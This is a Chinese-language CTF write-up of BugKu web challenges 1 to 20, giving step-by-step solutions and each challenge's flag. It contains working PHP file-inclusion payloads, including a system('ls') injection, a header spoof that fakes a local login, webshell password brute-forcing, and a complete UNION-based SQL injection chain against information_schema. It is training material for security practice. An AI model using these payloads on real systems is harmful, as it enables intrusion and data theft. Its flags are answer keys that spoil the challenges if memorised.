CTF-BugKu-WEB-1-20

2020.09.17

全面複習web,給本身定個目標,後天以前結束BugKu-Web,開始逆向。php

經驗教訓

  1. php弱等於用於繞過==,弱等於以前會把等號兩邊轉化爲同一類型變量;
  2. 全局變量全局變量全局變量!!$GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION
  3. 瀏覽器的檢查元素的網絡中內容不必定可信,由於瀏覽器在接受數據的時候會過濾不符合規則的內容,可是flag可能就藏着裏邊
  4. 假裝成本地登錄添加請求頭X-Forwarded-For: 127.0.0.1
  5. 火狐瀏覽器有時候會出bug,在一個比較肯定的答案沒有結果的時候,能夠換個瀏覽器試試。。。。
  6. 文件包含漏洞的利用,php://input配合<?php echo system('ls');?>php://filter/read=convert.base64-encode/resource=index.php
  7. 數組求md5會返回false;
  8. 若是a、b兩個值不相同,則異或結果爲1。若是a、b兩個值相同,異或結果爲0。
  9. 數據庫中大數據庫是information_schema,其中有TABLES、COLUMNS表,存儲全部的表和列信息。

第一題 web2

https://ctf.bugku.com/challenges#web2
html

  1. 一堆這個,在頁碼源文件找到flag

第二題 計算器

https://ctf.bugku.com/challenges#計算器
web

  1. 打開以下
  2. 輸入框只能輸入一位數,檢查源碼,發現生成驗證碼多js文件
  3. 直接訪問,在文件中發現flagflag{CTF-bugku-0032}

第三題 web基礎$_GET

https://ctf.bugku.com/challenges#web基礎$_GET
正則表達式

  1. 比較簡單的get,構造payload?what=flag,輸出flagflag{bugku_get_su8kej2en}

第四題 web基礎$_POST

https://ctf.bugku.com/challenges#web基礎$_POST
sql

  1. 簡單的post,Firefox打開,hackbar插件,添加postwhat=flag,請求獲得flagflag{bugku_get_ssseint67se}

第五題 矛盾

https://ctf.bugku.com/challenges#矛盾
shell

  1. 不能是數字,還得弱等於1,這就用到字符'1qwk'弱等於數字1這個知識點了,在弱等於的時候,等號兩邊會轉化爲同一類型的變量,這裏1qwk轉化爲數字後爲數字1,payloadnum=1qwk,獲得flagflag{bugku-789-ps-ssdf}

第六題 web3

https://ctf.bugku.com/challenges#web3
數據庫

  1. 打開是不少彈窗,看源碼,在底部發現信息,html轉碼,得KEY{J2sa42ahJK-HS11III}

第七題 域名解析

https://ctf.bugku.com/challenges#域名解析
json

  1. 訪問http://123.206.87.240/後,用hackbar修改host爲flag.baidu.com便可得KEY{DSAHDSJ82HDS2211}

第八題 你必須讓他停下

https://ctf.bugku.com/challenges#你必須讓他停下
數組

  1. 看源碼知道是一個script腳本一直在運行,用瀏覽器停用腳本以後,獲得以下界面,沒啥用,
  2. 看頁面文字,stop at panda,我刷新界面源碼,發現請求文件一直在變,是否是請求的是panda就能夠了呢,burp攔截試試,一直重發就會發現,有機率出現flagflag{dummy_game_1s_s0_popular}

第九題 本地包含

https://ctf.bugku.com/challenges#本地包含
瀏覽器

  1. 訪問500,估計是壞掉了

第十題 變量1

https://ctf.bugku.com/challenges#變量1

  1. 獲得代碼
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
  1. 主要意思就是知足正則表達式,來用var_dump()來輸出變量值,這裏想到全局變量,構造payload?args=GLOBALS獲得flagflag{92853051ab894a64f7865cf3c2128b34}

第十一題 web5

https://ctf.bugku.com/challenges#web5

  1. 打開查看源碼,發現brainfuck密碼,不對,通過查閱是JSFUCK密碼,這是一種神奇的fuck密碼🤢,解密方法就是在谷歌瀏覽器的控制檯輸進去,結果是ctf{whatfk}

  2. 輸入框內,被嘲諷了,原來這就是答案,直接輸就好了……我想多了

第十二題 頭等艙

https://ctf.bugku.com/challenges#頭等艙

  1. 真的就啥也沒有,那隻能掃一掃了
  2. 經過burp抓包,發現響應包頭部有flagflag{Bugku_k8_23s_istra}

第十三題 網站被黑

https://ctf.bugku.com/challenges#網站被黑

  1. 打開,一個沒用的網頁,源代碼什麼也沒有,那也只能掃描目錄了dirb http://123.206.87.240:8002/webshell/
  2. 掃描發現shell.php,須要輸入密碼,弱密碼很差用,考慮爆破。獲得密碼爲hack,輸入獲得flagflag{hack_bug_ku035}

第十四題 管理員系統

https://ctf.bugku.com/challenges#管理員系統

  1. 打開網站是一個簡陋的管理員系統,嘗試弱密碼登錄,失敗,查看源碼,發現最底部有東西dGVzdDEyMw==,base64解碼得test123,多是密碼,
    {{uploading-image-166887.png(uploading...)}}
  2. 登錄未果,考慮是本地登錄的緣由,使用burp添加請求頭X-Forwarded-For: 127.0.0.1,獲得flag85ff2ee4171396724bae20c0bd851f6b

第十五題 web4

https://ctf.bugku.com/challenges#web4

  1. 打開讓看源代碼,看看就看看,是一個script,主要意思就是把兩個字符串轉碼,而後執行,我轉碼後以下:
function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a){
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;
  1. 代碼的意思很明確,就是password的值相等就返回正確,與他比較多一串是md5值,經解密獲得1466644826,嘗試輸入
  2. 很差使,而後我就無語了,搜了搜發現不用解碼,直接輸入就行,mdfuckKEY{J22JK-HS11}

第十六題 flag在index裏

https://ctf.bugku.com/challenges#flag在index裏

  1. 點擊連接http://123.206.87.240:8005/post/index.php?file=show.php,這個跳轉的連接有點眼熟,好像是文件包含漏洞,因而我嘗試php://input,可是好像被過濾了
  2. 因而又嘗試另外一個php://filter/read=convert.base64-encode/resource=index.php,成功輸出結果,轉碼後獲得flagflag{edulcni_elif_lacol_si_siht}

第十七題 輸入密碼查看flag

https://ctf.bugku.com/challenges#輸入密碼查看flag

  1. 輸入密碼,咱們要善於找到題眼,說了是五位數密碼,他的意思就是五位數字,那麼我認爲能夠爆破一波,let‘s go
  2. 忽然懷疑是否是不靠譜,有點慢啊這樣,一共九萬個啊,是否是應該用py腳本開多線程試試啊……
  3. nice,果真,題眼對了就沒問題,說話間出結果了,哈哈哈flag{bugku-baopo-hah}

第十八題 點擊一百萬次

https://ctf.bugku.com/challenges#點擊一百萬次

  1. 應該是沒了這個題……

第十九題 備份是個好習慣

https://ctf.bugku.com/challenges#備份是個好習慣

  1. 打開時一堆啥玩意,貌似md5,64位,難不成是兩個md5……

    解密結果是[空密碼],這是啥玩意,哦哦wc,這是重複了兩遍的同一個
    d41d8cd98f00b204e9800998ecf8427e
    d41d8cd98f00b204e9800998ecf8427e

    可是解密結果仍是同樣……
  2. 考慮到題目是備份,那麼這個考點就是php備份格式bak swp等,構造payloadindex.php.bak,成功下載到文件
  3. 拖到winhex中獲得index代碼

    整理以下,接下來就是代碼解析:
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/

include_once "flag.php"; //引入文件
ini_set("display_errors", 0); //不報錯
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 截取問好以後的內容
$str = substr($str,1); // 把問號去掉
$str = str_replace('key','',$str); // 過濾掉字符key,能夠用複寫kekeyy繞過
parse_str($str); // 把str解析到變量中,這種狀況直接替代同名變量
echo md5($key1);

echo md5($key2); // 這就是咱們一開始看見的兩個md5值的緣由
if(md5($key1) == md5($key2) && $key1 !== $key2){ // 獲得flag的條件,key1不等於key2,可是他們的md5值相等,這理論上是不可能的,可是咱們能夠用數組求md5返回false來繞過
    echo $flag."鍙栧緱flag";
}
?>
  1. 通過分析,構造payloadhttp://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
    獲得flagBugku{OH_YOU_FIND_MY_MOMY}

第二十題 成績單

https://ctf.bugku.com/challenges#成績單

  1. 是個sql注入題,哈哈哈,這個我記得,印象深入。先隨便查一個。
  2. 整個注入過程以下:
    • id=1,輸出正常
    • id=1' ^(1)%23,沒輸出
    • id=1' ^(0)%23,輸出正常,說明存在注入
    • 1' ORDER BY 4%23,輸出正常
    • 1' ORDER BY 5%23,輸出錯誤,說明查詢結果有4列
    • 0' UNION SELECT 1,2,3,4%23,輸出正常,能看到每個輸出對應的地方,可謂一個蘿蔔一個坑🥕
    • 到這一步就說明比較順利了,剩下的就是比較模版的東西了。id換成0,目的是讓前面查詢爲空,這樣後邊的查詢結果就能顯示出來。
    • id=0' UNION SELECT database(),2,3,4%23,查詢數據庫名爲skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='skctf_flag'),3,4%23,查詢數據庫下表名爲fl4g,sc
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='fl4g'),3,4%23,查詢表fl4g下列名skctf_flag
    • id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(skctf_flag) FROM skctf_flag.fl4g),3,4%23,查詢列skctf_flag中數據獲得flagBUGKU{Sql_INJECT0N_4813drd8hz4}
  3. 這真是一道至關好的注入練習題,我受益不淺。
相關文章
相關標籤/搜索
本站公眾號
   歡迎關注本站公眾號,獲取更多信息